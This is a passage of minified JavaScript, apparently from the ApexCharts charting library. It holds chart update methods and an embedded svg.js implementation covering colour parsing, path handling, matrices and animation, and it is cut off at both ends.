o.globals.shouldAnimate=e,o.globals.dataChanged=!0,e&&i.ctx.series.getPreviousPaths(),o.globals.axisCharts?(0===(r=t.map((function(t,e){return i._extendSeries(t,e)}))).length&&(r=[{data:[]}]),o.config.series=r):o.config.series=t.slice(),a&&(o.globals.initialConfig.series=x.clone(o.config.series),o.globals.initialSeries=x.clone(o.config.series)),i.ctx.update().then((function(){s(i.ctx)}))}))}},{key:"_extendSeries",value:function(t,i){var a=this.w,s=a.config.series[i];return e(e({},a.config.series[i]),{},{name:t.name?t.name:s&&s.name,color:t.color?t.color:s&&s.color,type:t.type?t.type:s&&s.type,data:t.data?t.data:s&&s.data})}},{key:"toggleDataPointSelection",value:function(t,e){var i=this.w,a=null,s=".apexcharts-series[data\\:realIndex='".concat(t,"']");return i.globals.axisCharts?a=i.globals.dom.Paper.select("".concat(s," path[j='").concat(e,"'], ").concat(s," circle[j='").concat(e,"'], ").concat(s," rect[j='").concat(e,"']")).members[0]:void 0===e&&(a=i.globals.dom.Paper.select("".concat(s," path[j='").concat(t,"']")).members[0],"pie"!==i.config.chart.type&&"polarArea"!==i.config.chart.type&&"donut"!==i.config.chart.type||this.ctx.pie.pieClicked(t)),a?(new m(this.ctx).pathMouseDown(a,null),a.node?a.node:null):(console.warn("toggleDataPointSelection: Element not found"),null)}},{key:"forceXAxisUpdate",value:function(t){var e=this.w;if(["min","max"].forEach((function(i){void 0!==t.xaxis[i]&&(e.config.xaxis[i]=t.xaxis[i],e.globals.lastXAxis[i]=t.xaxis[i])})),t.xaxis.categories&&t.xaxis.categories.length&&(e.config.xaxis.categories=t.xaxis.categories),e.config.xaxis.convertedCatToNumeric){var i=new z(t);t=i.convertCatToNumericXaxis(t,this.ctx)}return t}},{key:"forceYAxisUpdate",value:function(t){return t.chart&&t.chart.stacked&&"100%"===t.chart.stackType&&(Array.isArray(t.yaxis)?t.yaxis.forEach((function(e,i){t.yaxis[i].min=0,t.yaxis[i].max=100})):(t.yaxis.min=0,t.yaxis.max=100)),t}},{key:"revertDefaultAxisMinMax",value:function(t){var e=this,i=this.w,a=i.globals.lastXAxis,s=i.globals.lastYAxis;t&&t.xaxis&&(a=t.xaxis),t&&t.yaxis&&(s=t.yaxis),i.config.xaxis.min=a.min,i.config.xaxis.max=a.max;var r=function(t){void 0!==s[t]&&(i.config.yaxis[t].min=s[t].min,i.config.yaxis[t].max=s[t].max)};i.config.yaxis.map((function(t,a){i.globals.zoomed||void 0!==s[a]?r(a):void 0!==e.ctx.opts.yaxis[a]&&(t.min=e.ctx.opts.yaxis[a].min,t.max=e.ctx.opts.yaxis[a].max)}))}}]),t}();zt="undefined"!=typeof window?window:void 0,Et=function(t,e){var a=(void 0!==this?this:t).SVG=function(t){if(a.supported)return t=new a.Doc(t),a.parser.draw||a.prepare(),t};if(a.ns="http://www.w3.org/2000/svg",a.xmlns="http://www.w3.org/2000/xmlns/",a.xlink="http://www.w3.org/1999/xlink",a.svgjs="http://svgjs.dev",a.supported=!0,!a.supported)return!1;a.did=1e3,a.eid=function(t){return"Svgjs"+d(t)+a.did++},a.create=function(t){var i=e.createElementNS(this.ns,t);return i.setAttribute("id",this.eid(t)),i},a.extend=function(){var t,e;e=(t=[].slice.call(arguments)).pop();for(var i=t.length-1;i>=0;i--)if(t[i])for(var s in e)t[i].prototype[s]=e[s];a.Set&&a.Set.inherit&&a.Set.inherit()},a.invent=function(t){var e="function"==typeof t.create?t.create:function(){this.constructor.call(this,a.create(t.create))};return t.inherit&&(e.prototype=new t.inherit),t.extend&&a.extend(e,t.extend),t.construct&&a.extend(t.parent||a.Container,t.construct),e},a.adopt=function(e){return e?e.instance?e.instance:((i="svg"==e.nodeName?e.parentNode instanceof t.SVGElement?new a.Nested:new a.Doc:"linearGradient"==e.nodeName?new a.Gradient("linear"):"radialGradient"==e.nodeName?new a.Gradient("radial"):a[d(e.nodeName)]?new(a[d(e.nodeName)]):new a.Element(e)).type=e.nodeName,i.node=e,e.instance=i,i instanceof a.Doc&&i.namespace().defs(),i.setData(JSON.parse(e.getAttribute("svgjs:data"))||{}),i):null;var i},a.prepare=function(){var t=e.getElementsByTagName("body")[0],i=(t?new a.Doc(t):a.adopt(e.documentElement).nested()).size(2,0);a.parser={body:t||e.documentElement,draw:i.style("opacity:0;position:absolute;left:-100%;top:-100%;overflow:hidden").node,poly:i.polyline().node,path:i.path().node,native:a.create("svg")}},a.parser={native:a.create("svg")},e.addEventListener("DOMContentLoaded",(function(){a.parser.draw||a.prepare()}),!1),a.regex={numberAndUnit:/^([+-]?(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?)([a-z%]*)$/i,hex:/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i,rgb:/rgb\((\d+),(\d+),(\d+)\)/,reference:/#([a-z0-9\-_]+)/i,transforms:/\)\s*,?\s*/,whitespace:/\s/g,isHex:/^#[a-f0-9]{3,6}$/i,isRgb:/^rgb\(/,isCss:/[^:]+:[^;]+;?/,isBlank:/^(\s+)?$/,isNumber:/^[+-]?(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,isPercent:/^-?[\d\.]+%$/,isImage:/\.(jpg|jpeg|png|gif|svg)(\?[^=]+.*)?/i,delimiter:/[\s,]+/,hyphen:/([^e])\-/gi,pathLetters:/[MLHVCSQTAZ]/gi,isPathLetter:/[MLHVCSQTAZ]/i,numbersWithDots:/((\d?\.\d+(?:e[+-]?\d+)?)((?:\.\d+(?:e[+-]?\d+)?)+))+/gi,dots:/\./g},a.utils={map:function(t,e){for(var i=t.length,a=[],s=0;s<i;s++)a.push(e(t[s]));return a},filter:function(t,e){for(var i=t.length,a=[],s=0;s<i;s++)e(t[s])&&a.push(t[s]);return a},filterSVGElements:function(e){return this.filter(e,(function(e){return e instanceof t.SVGElement}))}},a.defaults={attrs:{"fill-opacity":1,"stroke-opacity":1,"stroke-width":0,"stroke-linejoin":"miter","stroke-linecap":"butt",fill:"#000000",stroke:"#000000",opacity:1,x:0,y:0,cx:0,cy:0,width:0,height:0,r:0,rx:0,ry:0,offset:0,"stop-opacity":1,"stop-color":"#000000","font-size":16,"font-family":"system-ui, -apple-system,","text-anchor":"start"}},a.Color=function(t){var e,s;this.r=0,this.g=0,this.b=0,t&&("string"==typeof t?a.regex.isRgb.test(t)?(e=a.regex.rgb.exec(t.replace(a.regex.whitespace,"")),this.r=parseInt(e[1]),this.g=parseInt(e[2]),this.b=parseInt(e[3])):a.regex.isHex.test(t)&&(e=a.regex.hex.exec(4==(s=t).length?["#",s.substring(1,2),s.substring(1,2),s.substring(2,3),s.substring(2,3),s.substring(3,4),s.substring(3,4)].join(""):s),this.r=parseInt(e[1],16),this.g=parseInt(e[2],16),this.b=parseInt(e[3],16)):"object"===i(t)&&(this.r=t.r,this.g=t.g,this.b=t.b))},a.extend(a.Color,{toString:function(){return this.toHex()},toHex:function(){return"#"+g(this.r)+g(this.g)+g(this.b)},toRgb:function(){return"rgb("+[this.r,this.g,this.b].join()+")"},brightness:function(){return this.r/255*.3+this.g/255*.59+this.b/255*.11},morph:function(t){return this.destination=new a.Color(t),this},at:function(t){return this.destination?(t=t<0?0:t>1?1:t,new a.Color({r:~~(this.r+(this.destination.r-this.r)*t),g:~~(this.g+(this.destination.g-this.g)*t),b:~~(this.b+(this.destination.b-this.b)*t)})):this}}),a.Color.test=function(t){return t+="",a.regex.isHex.test(t)||a.regex.isRgb.test(t)},a.Color.isRgb=function(t){return t&&"number"==typeof t.r&&"number"==typeof t.g&&"number"==typeof t.b},a.Color.isColor=function(t){return a.Color.isRgb(t)||a.Color.test(t)},a.Array=function(t,e){0==(t=(t||[]).valueOf()).length&&e&&(t=e.valueOf()),this.value=this.parse(t)},a.extend(a.Array,{toString:function(){return this.value.join(" ")},valueOf:function(){return this.value},parse:function(t){return t=t.valueOf(),Array.isArray(t)?t:this.split(t)}}),a.PointArray=function(t,e){a.Array.call(this,t,e||[[0,0]])},a.PointArray.prototype=new a.Array,a.PointArray.prototype.constructor=a.PointArray;for(var s={M:function(t,e,i){return e.x=i.x=t[0],e.y=i.y=t[1],["M",e.x,e.y]},L:function(t,e){return e.x=t[0],e.y=t[1],["L",t[0],t[1]]},H:function(t,e){return e.x=t[0],["H",t[0]]},V:function(t,e){return e.y=t[0],["V",t[0]]},C:function(t,e){return e.x=t[4],e.y=t[5],["C",t[0],t[1],t[2],t[3],t[4],t[5]]},Q:function(t,e){return e.x=t[2],e.y=t[3],["Q",t[0],t[1],t[2],t[3]]},Z:function(t,e,i){return e.x=i.x,e.y=i.y,["Z"]}},r="mlhvqtcsaz".split(""),o=0,n=r.length;o<n;++o)s[r[o]]=function(t){return function(e,i,a){if("H"==t)e[0]=e[0]+i.x;else if("V"==t)e[0]=e[0]+i.y;else if("A"==t)e[5]=e[5]+i.x,e[6]=e[6]+i.y;else for(var r=0,o=e.length;r<o;++r)e[r]=e[r]+(r%2?i.y:i.x);if(s&&"function"==typeof s[t])return s[t](e,i,a)}}(r[o].toUpperCase());a.PathArray=function(t,e){a.Array.call(this,t,e||[["M",0,0]])},a.PathArray.prototype=new a.Array,a.PathArray.prototype.constructor=a.PathArray,a.extend(a.PathArray,{toString:function(){return function(t){for(var e=0,i=t.length,a="";e<i;e++)a+=t[e][0],null!=t[e][1]&&(a+=t[e][1],null!=t[e][2]&&(a+=" ",a+=t[e][2],null!=t[e][3]&&(a+=" ",a+=t[e][3],a+=" ",a+=t[e][4],null!=t[e][5]&&(a+=" ",a+=t[e][5],a+=" ",a+=t[e][6],null!=t[e][7]&&(a+=" ",a+=t[e][7])))));return a+" "}(this.value)},move:function(t,e){var i=this.bbox();return i.x,i.y,this},at:function(t){if(!this.destination)return this;for(var e=this.value,i=this.destination.value,s=[],r=new a.PathArray,o=0,n=e.length;o<n;o++){s[o]=[e[o][0]];for(var l=1,h=e[o].length;l<h;l++)s[o][l]=e[o][l]+(i[o][l]-e[o][l])*t;"A"===s[o][0]&&(s[o][4]=+(0!=s[o][4]),s[o][5]=+(0!=s[o][5]))}return r.value=s,r},parse:function(t){if(t instanceof a.PathArray)return t.valueOf();var e,i={M:2,L:2,H:1,V:1,C:6,S:4,Q:4,T:2,A:7,Z:0};t="string"==typeof t?t.replace(a.regex.numbersWithDots,h).replace(a.regex.pathLetters," $& ").replace(a.regex.hyphen,"$1 -").trim().split(a.regex.delimiter):t.reduce((function(t,e){return[].concat.call(t,e)}),[]);var r=[],o=new a.Point,n=new a.Point,l=0,c=t.length;do{a.regex.isPathLetter.test(t[l])?(e=t[l],++l):"M"==e?e="L":"m"==e&&(e="l"),r.push(s[e].call(null,t.slice(l,l+=i[e.toUpperCase()]).map(parseFloat),o,n))}while(c>l);return r},bbox:function(){return a.parser.draw||a.prepare(),a.parser.path.setAttribute("d",this.toString()),a.parser.path.getBBox()}}),a.Number=a.invent({create:function(t,e){this.value=0,this.unit=e||"","number"==typeof t?this.value=isNaN(t)?0:isFinite(t)?t:t<0?-34e37:34e37:"string"==typeof t?(e=t.match(a.regex.numberAndUnit))&&(this.value=parseFloat(e[1]),"%"==e[5]?this.value/=100:"s"==e[5]&&(this.value*=1e3),this.unit=e[5]):t instanceof a.Number&&(this.value=t.valueOf(),this.unit=t.unit)},extend:{toString:function(){return("%"==this.unit?~~(1e8*this.value)/1e6:"s"==this.unit?this.value/1e3:this.value)+this.unit},toJSON:function(){return this.toString()},valueOf:function(){return this.value},plus:function(t){return t=new a.Number(t),new a.Number(this+t,this.unit||t.unit)},minus:function(t){return t=new a.Number(t),new a.Number(this-t,this.unit||t.unit)},times:function(t){return t=new a.Number(t),new a.Number(this*t,this.unit||t.unit)},divide:function(t){return t=new a.Number(t),new a.Number(this/t,this.unit||t.unit)},to:function(t){var e=new a.Number(this);return"string"==typeof t&&(e.unit=t),e},morph:function(t){return this.destination=new a.Number(t),t.relative&&(this.destination.value+=this.value),this},at:function(t){return this.destination?new a.Number(this.destination).minus(this).times(t).plus(this):this}}}),a.Element=a.invent({create:function(t){this._stroke=a.defaults.attrs.stroke,this._event=null,this.dom={},(this.node=t)&&(this.type=t.nodeName,this.node.instance=this,this._stroke=t.getAttribute("stroke")||this._stroke)},extend:{x:function(t){return this.attr("x",t)},y:function(t){return this.attr("y",t)},cx:function(t){return null==t?this.x()+this.width()/2:this.x(t-this.width()/2)},cy:function(t){return null==t?this.y()+this.height()/2:this.y(t-this.height()/2)},move:function(t,e){return this.x(t).y(e)},center:function(t,e){return this.cx(t).cy(e)},width:function(t){return this.attr("width",t)},height:function(t){return this.attr("height",t)},size:function(t,e){var i=u(this,t,e);return this.width(new a.Number(i.width)).height(new a.Number(i.height))},clone:function(t){this.writeDataToDom();var e=x(this.node.cloneNode(!0));return t?t.add(e):this.after(e),e},remove:function(){return this.parent()&&this.parent().removeElement(this),this},replace:function(t){return this.after(t).remove(),t},addTo:function(t){return t.put(this)},putIn:function(t){return t.add(this)},id:function(t){return this.attr("id",t)},show:function(){return this.style("display","")},hide:function(){return this.style("display","none")},visible:function(){return"none"!=this.style("display")},toString:function(){return this.attr("id")},classes:function(){var t=this.attr("class");return null==t?[]:t.trim().split(a.regex.delimiter)},hasClass:function(t){return-1!=this.classes().indexOf(t)},addClass:function(t){if(!this.hasClass(t)){var e=this.classes();e.push(t),this.attr("class",e.join(" "))}return this},removeClass:function(t){return this.hasClass(t)&&this.attr("class",this.classes().filter((function(e){return e!=t})).join(" ")),this},toggleClass:function(t){return this.hasClass(t)?this.removeClass(t):this.addClass(t)},reference:function(t){return a.get(this.attr(t))},parent:function(e){var i=this;if(!i.node.parentNode)return null;if(i=a.adopt(i.node.parentNode),!e)return i;for(;i&&i.node instanceof t.SVGElement;){if("string"==typeof e?i.matches(e):i instanceof e)return i;if(!i.node.parentNode||"#document"==i.node.parentNode.nodeName)return null;i=a.adopt(i.node.parentNode)}},doc:function(){return this instanceof a.Doc?this:this.parent(a.Doc)},parents:function(t){var e=[],i=this;do{if(!(i=i.parent(t))||!i.node)break;e.push(i)}while(i.parent);return e},matches:function(t){return function(t,e){return(t.matches||t.matchesSelector||t.msMatchesSelector||t.mozMatchesSelector||t.webkitMatchesSelector||t.oMatchesSelector).call(t,e)}(this.node,t)},native:function(){return this.node},svg:function(t){var i=e.createElement("svg");if(!(t&&this instanceof a.Parent))return i.appendChild(t=e.createElement("svg")),this.writeDataToDom(),t.appendChild(this.node.cloneNode(!0)),i.innerHTML.replace(/^<svg>/,"").replace(/<\/svg>$/,"");i.innerHTML="<svg>"+t.replace(/\n/,"").replace(/<([\w:-]+)([^<]+?)\/>/g,"<$1$2></$1>")+"</svg>";for(var s=0,r=i.firstChild.childNodes.length;s<r;s++)this.node.appendChild(i.firstChild.firstChild);return this},writeDataToDom:function(){return(this.each||this.lines)&&(this.each?this:this.lines()).each((function(){this.writeDataToDom()})),this.node.removeAttribute("svgjs:data"),Object.keys(this.dom).length&&this.node.setAttribute("svgjs:data",JSON.stringify(this.dom)),this},setData:function(t){return this.dom=t,this},is:function(t){return function(t,e){return t instanceof e}(this,t)}}}),a.easing={"-":function(t){return t},"<>":function(t){return-Math.cos(t*Math.PI)/2+.5},">":function(t){return Math.sin(t*Math.PI/2)},"<":function(t){return 1-Math.cos(t*Math.PI/2)}},a.morph=function(t){return function(e,i){return new a.MorphObj(e,i).at(t)}},a.Situation=a.invent({create:function(t){this.init=!1,this.reversed=!1,this.reversing=!1,this.duration=new a.Number(t.duration).valueOf(),this.delay=new a.Number(t.delay).valueOf(),this.start=+new Date+this.delay,this.finish=this.start+this.duration,this.ease=t.ease,this.loop=0,this.loops=!1,this.animations={},this.attrs={},this.styles={},this.transforms=[],this.once={}}}),a.FX=a.invent({create:function(t){this._target=t,this.situations=[],this.active=!1,this.situation=null,this.paused=!1,this.lastPos=0,this.pos=0,this.absPos=0,this._speed=1},extend:{animate:function(t,e,s){"object"===i(t)&&(e=t.ease,s=t.delay,t=t.duration);var r=new a.Situation({duration:t||1e3,delay:s||0,ease:a.easing[e||"-"]||e});return this.queue(r),this},target:function(t){return t&&t instanceof a.Element?(this._target=t,this):this._target},timeToAbsPos:function(t){return(t-this.situation.start)/(this.situation.duration/this._speed)},absPosToTime:function(t){return this.situation.duration/this._speed*t+this.situation.start},startAnimFrame:function(){this.stopAnimFrame(),this.animationFrame=t.requestAnimationFrame(function(){this.step()}.bind(this))},stopAnimFrame:function(){t.cancelAnimationFrame(this.animationFrame)},start:function(){return!this.active&&this.situation&&(this.active=!0,this.startCurrent()),this},startCurrent:function(){return this.situation.start=+new Date+this.situation.delay/this._speed,this.situation.finish=this.situation.start+this.situation.duration/this._speed,this.initAnimations().step()},queue:function(t){return("function"==typeof t||t instanceof a.Situation)&&this.situations.push(t),this.situation||(this.situation=this.situations.shift()),this},dequeue:function(){return this.stop(),this.situation=this.situations.shift(),this.situation&&(this.situation instanceof a.Situation?this.start():this.situation.call(this)),this},initAnimations:function(){var t,e=this.situation;if(e.init)return this;for(var i in e.animations){t=this.target()[i](),Array.isArray(t)||(t=[t]),Array.isArray(e.animations[i])||(e.animations[i]=[e.animations[i]]);for(var s=t.length;s--;)e.animations[i][s]instanceof a.Number&&(t[s]=new a.Number(t[s])),e.animations[i][s]=t[s].morph(e.animations[i][s])}for(var i in e.attrs)e.attrs[i]=new a.MorphObj(this.target().attr(i),e.attrs[i]);for(var i in e.styles)e.styles[i]=new a.MorphObj(this.target().style(i),e.styles[i]);return e.initialTransformation=this.target().matrixify(),e.init=!0,this},clearQueue:function(){return this.situations=[],this},clearCurrent:function(){return this.situation=null,this},stop:function(t,e){var i=this.active;return this.active=!1,e&&this.clearQueue(),t&&this.situation&&(!i&&this.startCurrent(),this.atEnd()),this.stopAnimFrame(),this.clearCurrent()},after:function(t){var e=this.last();return this.target().on("finished.fx",(function i(a){a.detail.situation==e&&(t.call(this,e),this.off("finished.fx",i))})),this._callStart()},during:function(t){var e=this.last(),i=function(i){i.detail.situation==e&&t.call(this,i.detail.pos,a.morph(i.detail.pos),i.detail.eased,e)};return this.target().off("during.fx",i).on("during.fx",i),this.after((function(){this.off("during.fx",i)})),this._callStart()},afterAll:function(t){var e=function e(i){t.call(this),this.off("allfinished.fx",e)};return this.target().off("allfinished.fx",e).on("allfinished.fx",e),this._callStart()},last:function(){return this.situations.length?this.situations[this.situations.length-1]:this.situation},add:function(t,e,i){return this.last()[i||"animations"][t]=e,this._callStart()},step:function(t){var e,i,a;t||(this.absPos=this.timeToAbsPos(+new Date)),!1!==this.situation.loops?(e=Math.max(this.absPos,0),i=Math.floor(e),!0===this.situation.loops||i<this.situation.loops?(this.pos=e-i,a=this.situation.loop,this.situation.loop=i):(this.absPos=this.situation.loops,this.pos=1,a=this.situation.loop-1,this.situation.loop=this.situation.loops),this.situation.reversing&&(this.situation.reversed=this.situation.reversed!=Boolean((this.situation.loop-a)%2))):(this.absPos=Math.min(this.absPos,1),this.pos=this.absPos),this.pos<0&&(this.pos=0),this.situation.reversed&&(this.pos=1-this.pos);var s=this.situation.ease(this.pos);for(var r in this.situation.once)r>this.lastPos&&r<=s&&(this.situation.once[r].call(this.target(),this.pos,s),delete this.situation.once[r]);return this.active&&this.target().fire("during",{pos:this.pos,eased:s,fx:this,situation:this.situation}),this.situation?(this.eachAt(),1==this.pos&&!this.situation.reversed||this.situation.reversed&&0==this.pos?(this.stopAnimFrame(),this.target().fire("finished",{fx:this,situation:this.situation}),this.situations.length||(this.target().fire("allfinished"),this.situations.length||(this.target().off(".fx"),this.active=!1)),this.active?this.dequeue():this.clearCurrent()):!this.paused&&this.active&&this.startAnimFrame(),this.lastPos=s,this):this},eachAt:function(){var t,e=this,i=this.target(),s=this.situation;for(var r in s.animations)t=[].concat(s.animations[r]).map((function(t){return"string"!=typeof t&&t.at?t.at(s.ease(e.pos),e.pos):t})),i[r].apply(i,t);for(var r in s.attrs)t=[r].concat(s.attrs[r]).map((function(t){return"string"!=typeof t&&t.at?t.at(s.ease(e.pos),e.pos):t})),i.attr.apply(i,t);for(var r in s.styles)t=[r].concat(s.styles[r]).map((function(t){return"string"!=typeof t&&t.at?t.at(s.ease(e.pos),e.pos):t})),i.style.apply(i,t);if(s.transforms.length){t=s.initialTransformation,r=0;for(var o=s.transforms.length;r<o;r++){var n=s.transforms[r];n instanceof a.Matrix?t=n.relative?t.multiply((new a.Matrix).morph(n).at(s.ease(this.pos))):t.morph(n).at(s.ease(this.pos)):(n.relative||n.undo(t.extract()),t=t.multiply(n.at(s.ease(this.pos))))}i.matrix(t)}return this},once:function(t,e,i){var a=this.last();return i||(t=a.ease(t)),a.once[t]=e,this},_callStart:function(){return setTimeout(function(){this.start()}.bind(this),0),this}},parent:a.Element,construct:{animate:function(t,e,i){return(this.fx||(this.fx=new a.FX(this))).animate(t,e,i)},delay:function(t){return(this.fx||(this.fx=new a.FX(this))).delay(t)},stop:function(t,e){return this.fx&&this.fx.stop(t,e),this},finish:function(){return this.fx&&this.fx.finish(),this}}}),a.MorphObj=a.invent({create:function(t,e){return a.Color.isColor(e)?new a.Color(t).morph(e):a.regex.delimiter.test(t)?a.regex.pathLetters.test(t)?new a.PathArray(t).morph(e):new a.Array(t).morph(e):a.regex.numberAndUnit.test(e)?new a.Number(t).morph(e):(this.value=t,void(this.destination=e))},extend:{at:function(t,e){return e<1?this.value:this.destination},valueOf:function(){return this.value}}}),a.extend(a.FX,{attr:function(t,e,a){if("object"===i(t))for(var s in t)this.attr(s,t[s]);else this.add(t,e,"attrs");return this},plot:function(t,e,i,a){return 4==arguments.length?this.plot([t,e,i,a]):this.add("plot",new(this.target().morphArray)(t))}}),a.Box=a.invent({create:function(t,e,s,r){if(!("object"!==i(t)||t instanceof a.Element))return a.Box.call(this,null!=t.left?t.left:t.x,null!=t.top?t.top:t.y,t.width,t.height);var o;4==arguments.length&&(this.x=t,this.y=e,this.width=s,this.height=r),null==(o=this).x&&(o.x=0,o.y=0,o.width=0,o.height=0),o.w=o.width,o.h=o.height,o.x2=o.x+o.width,o.y2=o.y+o.height,o.cx=o.x+o.width/2,o.cy=o.y+o.height/2}}),a.BBox=a.invent({create:function(t){if(a.Box.apply(this,[].slice.call(arguments)),t instanceof a.Element){var i;try{if(!e.documentElement.contains){for(var s=t.node;s.parentNode;)s=s.parentNode;if(s!=e)throw new Error("Element not in the dom")}i=t.node.getBBox()}catch(e){if(t instanceof a.Shape){a.parser.draw||a.prepare();var r=t.clone(a.parser.draw.instance).show();r&&r.node&&"function"==typeof r.node.getBBox&&(i=r.node.getBBox()),r&&"function"==typeof r.remove&&r.remove()}else i={x:t.node.clientLeft,y:t.node.clientTop,width:t.node.clientWidth,height:t.node.clientHeight}}a.Box.call(this,i)}},inherit:a.Box,parent:a.Element,construct:{bbox:function(){return new a.BBox(this)}}}),a.BBox.prototype.constructor=a.BBox,a.Matrix=a.invent({create:function(t){var e=f([1,0,0,1,0,0]);t=null===t?e:t instanceof a.Element?t.matrixify():"string"==typeof t?f(t.split(a.regex.delimiter).map(parseFloat)):6==arguments.length?f([].slice.call(arguments)):Array.isArray(t)?f(t):t&&"object"===i(t)?t:e;for(var s=v.length-1;s>=0;--s)this[v[s]]=null!=t[v[s]]?t[v[s]]:e[v[s]]},extend:{extract:function(){var t=p(this,0,1);p(this,1,0);var e=180/Math.PI*Math.atan2(t.y,t.x)-90;return{x:this.e,y:this.f,transformedX:(this.e*Math.cos(e*Math.PI/180)+this.f*Math.sin(e*Math.PI/180))/Math.sqrt(this.a*this.a+this.b*this.b),transformedY:(this.f*Math.cos(e*Math.PI/180)+this.e*Math.sin(-e*Math.PI/180))/Math.sqrt(this.c*this.c+this.d*this.d),rotation:e,a:this.a,b:this.b,c:this.c,d:this.d,e:this.e,f:this.f,matrix:new a.Matrix(this)}},clone:function(){return new a.Matrix(this)},morph:function(t){return this.destination=new a.Matrix(t),this},multiply:function(t){return new a.Matrix(this.native().multiply(function(t){return t instanceof a.Matrix||(t=new a.Matrix(t)),t}(t).native()))},inverse:function(){return new a.Matrix(this.native().inverse())},translate:function(t,e){return new a.Matrix(this.native().translate(t||0,e||0))},native:function(){for(var t=a.parser.native.createSVGMatrix(),e=v.length-1;e>=0;e--)t[v[e]]=this[v[e]];return t},toString:function(){return"matrix("+b(this.a)+","+b(this.b)+","+b(this.c)+","+b(this.d)+","+b(this.e)+","+b(this.f)+")"}},parent:a.Element,construct:{ctm:function(){return new a.Matrix(this.node.getCTM())},screenCTM:function(){if(this instanceof a.Nested){var t=this.rect(1,1),e=t.node.getScreenCTM();return t.remove(),new a.Matrix(e)}return new a.Matrix(this.node.getScreenCTM())}}}),a.Point=a.invent({create:function(t,e){var a;a=Array.isArray(t)?{x:t[0],y:t[1]}:"object"===i(t)?{x:t.x,y:t.y}:null!=t?{x:t,y:null!=e?e:t}:{x:0,y:0},this.x=a.x,this.y=a.y},extend:{clone:function(){return new a.Point(this)},morph:function(t,e){return this.destination=new a.Point(t,e),this}}}),a.extend(a.Element,{point:function(t,e){return new a.Point(t,e).transform(this.screenCTM().inverse())}}),a.extend(a.Element,{attr:function(t,e,s){if(null==t){for(t={},s=(e=this.node.attributes).length-1;s>=0;s--)t[e[s].nodeName]=a.regex.isNumber.test(e[s].nodeValue)?parseFloat(e[s].nodeValue):e[s].nodeValue;return t}if("object"===i(t))for(var r in t)this.attr(r,t[r]);else if(null===e)this.node.removeAttribute(t);else{if(null==e)return null==(e=this.node.getAttribute(t))?a.defaults.attrs[t]:a.regex.isNumber.test(e)?parseFloat(e):e;"stroke-width"==t?this.attr("stroke",parseFloat(e)>0?this._stroke:null):"stroke"==t&&(this._stroke=e),"fill"!=t&&"stroke"!=t||(a.regex.isImage.test(e)&&(e=this.doc().defs().image(e,0,0)),e instanceof a.Image&&(e=this.doc().defs().pattern(0,0,(function(){this.add(e)})))),"number"==typeof e?e=new a.Number(e):a.Color.isColor(e)?e=new a.Color(e):Array.isArray(e)&&(e=new a.Array(e)),"leading"==t?this.leading&&this.leading(e):"string"==typeof s?this.node.setAttributeNS(s,t,e.toString()):this.node.setAttribute(t,e.toString()),!this.rebuild||"font-size"!=t&&"x"!=t||this.rebuild(t,e)}return this}}),a.extend(a.Element,{transform:function(t,e){var s;return"object"!==i(t)?(s=new a.Matrix(this).extract(),"string"==typeof t?s[t]:s):(s=new a.Matrix(this),e=!!e||!!t.relative,null!=t.a&&(s=e?s.multiply(new a.Matrix(t)):new a.Matrix(t)),this.attr("transform",s))}}),a.extend(a.Element,{untransform:function(){return this.attr("transform",null)},matrixify:function(){return(this.attr("transform")||"").split(a.regex.transforms).slice(0,-1).map((function(t){var e=t.trim().split("(");return[e[0],e[1].split(a.regex.delimiter).map((function(t){return parseFloat(t)}))]})).reduce((function(t,e){return"matrix"==e[0]?t.multiply(f(e[1])):t[e[0]].apply(t,e[1])}),new a.Matrix)},toParent:function(t){if(this==t)return this;var e=this.screenCTM(),i=t.screenCTM().inverse();return this.addTo(t).untransform().transform(i.multiply(e)),this},toDoc:function(){return this.toParent(this.doc())}}),a.Transformation=a.invent({create:function(t,e){if(arguments.length>1&&"boolean"!=typeof e)return this.constructor.call(this,[].slice.call(arguments));if(Array.isArray(t))for(var a=0,s=this.arguments.length;a<s;++a)this[this.arguments[a]]=t[a];else if(t&&"object"===i(t))for(a=0,s=this.arguments.length;a<s;++a)this[this.arguments[a]]=t[this.arguments[a]];this.inversed=!1,!0===e&&(this.inversed=!0)}}),a.Translate=a.invent({parent:a.Matrix,inherit:a.Transformation,create:function(t,e){this.constructor.apply(this,[].slice.call(arguments))},extend:{arguments:["transformedX","transformedY"],method:"translate"}}),a.extend(a.Element,{style:function(t,e){if(0==arguments.length)return this.node.style.cssText||"";if(arguments.length<2)if("object"===i(t))for(var s in t)this.style(s,t[s]);else{if(!a.regex.isCss.test(t))return this.node.style[c(t)];for(t=t.split(/\s*;\s*/).filter((function(t){return!!t})).map((function(t){return t.split(/\s*:\s*/)}));e=t.pop();)this.style(e[0],e[1])}else this.node.style[c(t)]=null===e||a.regex.isBlank.test(e)?"":e;return this}}),a.Parent=a.invent({create:function(t){this.constructor.call(this,t)},inherit:a.Element,extend:{children:function(){return a.utils.map(a.utils.filterSVGElements(this.node.childNodes),(function(t){return a.adopt(t)}))},add:function(t,e){return null==e?this.node.appendChild(t.node):t.node!=this.node.childNodes[e]&&this.node.insertBefore(t.node,this.node.childNodes[e]),this},put:function(t,e){return this.add(t,e),t},has:function(t){return this.index(t)>=0},index:function(t){return[].slice.call(this.node.childNodes).indexOf(t.node)},get:function(t){return a.adopt(this.node.childNodes[t])},first:function(){return this.get(0)},last:function(){return this.get(this.node.childNodes.length-1)},each:function(t,e){for(var i=this.children(),s=0,r=i.length;s<r;s++)i[s]instanceof a.Element&&t.apply(i[s],[s,i]),e&&i[s]instanceof a.Container&&i[s].each(t,e);return this},removeElement:function(t){return this.node.removeChild(t.node),this},clear:function(){for(;this.node.hasChildNodes();)this.node.removeChild(this.node.lastChild);return delete this._defs,this},defs:function(){return this.doc().defs()}}}),a.extend(a.Parent,{ungroup:function(t,e){return 0===e||this instanceof a.Defs||this.node==a.parser.draw||(t=t||(this instanceof a.Doc?this:this.parent(a.Parent)),e=e||1/0,this.each((function(){return this instanceof a.Defs?this:this instanceof a.Parent?this.ungroup(t,e-1):this.toParent(t)})),this.node.firstChild||this.remove()),this},flatten:function(t,e){return this.ungroup(t,e)}}),a.Container=a.invent({create:function(t){this.constructor.call(this,t)},inherit:a.Parent}),a.ViewBox=a.invent({parent:a.Container,construct:{}}),["click","dblclick","mousedown","mouseup","mouseover","mouseout","mousemove","touchstart","touchmove","touchleave","touchend","touchcancel"].forEach((function(t){a.Element.prototype[t]=function(e){return 